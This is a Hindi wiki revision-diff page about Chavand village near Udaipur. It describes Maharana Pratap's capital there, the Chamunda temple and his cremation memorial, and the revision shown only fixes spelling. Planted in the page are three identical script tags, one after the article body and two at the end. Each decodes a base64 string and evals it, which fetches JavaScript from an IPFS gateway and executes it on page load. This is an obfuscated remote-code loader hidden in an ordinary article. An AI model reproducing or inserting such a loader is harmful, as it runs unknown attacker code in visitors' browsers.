"चावंड उदयपुर" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "श्रृंखला" to "शृंखला") |
व्यवस्थापन (चर्चा | योगदान) छो (Text replacement - "पश्चात " to "पश्चात् ") |
||
पंक्ति 1: | पंक्ति 1: | ||
'''चावंड''' [[राजस्थान]] के [[उदयपुर]] से [[ऋषभदेव उदयपुर|ऋषभदेव]] जाने वाली सड़क पर सघन [[अरावली पर्वत शृंखला|अरावली पहाड़ियों]] के पठारी भाग में बसा हुआ एक गाँव है। चावंड जिस पहाड़ी इलाक़े में बसा हुआ है, वह 'छप्पन' का इलाक़ा कहलाता है। | '''चावंड''' [[राजस्थान]] के [[उदयपुर]] से [[ऋषभदेव उदयपुर|ऋषभदेव]] जाने वाली सड़क पर सघन [[अरावली पर्वत शृंखला|अरावली पहाड़ियों]] के पठारी भाग में बसा हुआ एक गाँव है। चावंड जिस पहाड़ी इलाक़े में बसा हुआ है, वह 'छप्पन' का इलाक़ा कहलाता है। | ||
==इतिहास== | ==इतिहास== | ||
− | चावंड पहले छप्पनियें राठौड़ों का वतन था। महाराणा प्रताप ने इस पर आक्रमण कर [[हल्दीघाटी का युद्ध|हल्दीघाटी युद्ध]] के | + | चावंड पहले छप्पनियें राठौड़ों का वतन था। महाराणा प्रताप ने इस पर आक्रमण कर [[हल्दीघाटी का युद्ध|हल्दीघाटी युद्ध]] के पश्चात् अपनी नयी राजधानी बनाया। चावंड गाँव से सटी हुई पहाड़ी पर प्रताप ने महल बनवाये थे जो आज खण्डहर मात्र हैं। यहाँ के खण्डहरों के निचले भाग में चामुण्डा माता का मन्दिर बना हुआ है। यह मन्दिर [[महाराणा प्रताप]] ने ही बनवाया था। यह भी उल्लेखनीय है कि महाराणा प्रताप की मृत्यु चावंड में ही हुई थी।<ref>वीर विनोद 11, पृ. 159</ref> चावंड गाँव से लगभग डेढ़ मील दूर बण्डोली गाँव है, उसके पास जो नाला बहता है, उसी नाले के किनारे प्रताप का दाह संस्कार किया गया था। इस स्थल पर स्मारक स्वरूप एक छतरी बनी हुई है |
{{लेख प्रगति | {{लेख प्रगति |
07:52, 23 जून 2017 का अवतरण
चावंड राजस्थान के उदयपुर से ऋषभदेव जाने वाली सड़क पर सघन अरावली पहाड़ियों के पठारी भाग में बसा हुआ एक गाँव है। चावंड जिस पहाड़ी इलाक़े में बसा हुआ है, वह 'छप्पन' का इलाक़ा कहलाता है।
इतिहास
चावंड पहले छप्पनियें राठौड़ों का वतन था। महाराणा प्रताप ने इस पर आक्रमण कर हल्दीघाटी युद्ध के पश्चात् अपनी नयी राजधानी बनाया। चावंड गाँव से सटी हुई पहाड़ी पर प्रताप ने महल बनवाये थे जो आज खण्डहर मात्र हैं। यहाँ के खण्डहरों के निचले भाग में चामुण्डा माता का मन्दिर बना हुआ है। यह मन्दिर महाराणा प्रताप ने ही बनवाया था। यह भी उल्लेखनीय है कि महाराणा प्रताप की मृत्यु चावंड में ही हुई थी।[1] चावंड गाँव से लगभग डेढ़ मील दूर बण्डोली गाँव है, उसके पास जो नाला बहता है, उसी नाले के किनारे प्रताप का दाह संस्कार किया गया था। इस स्थल पर स्मारक स्वरूप एक छतरी बनी हुई है
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ वीर विनोद 11, पृ. 159
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>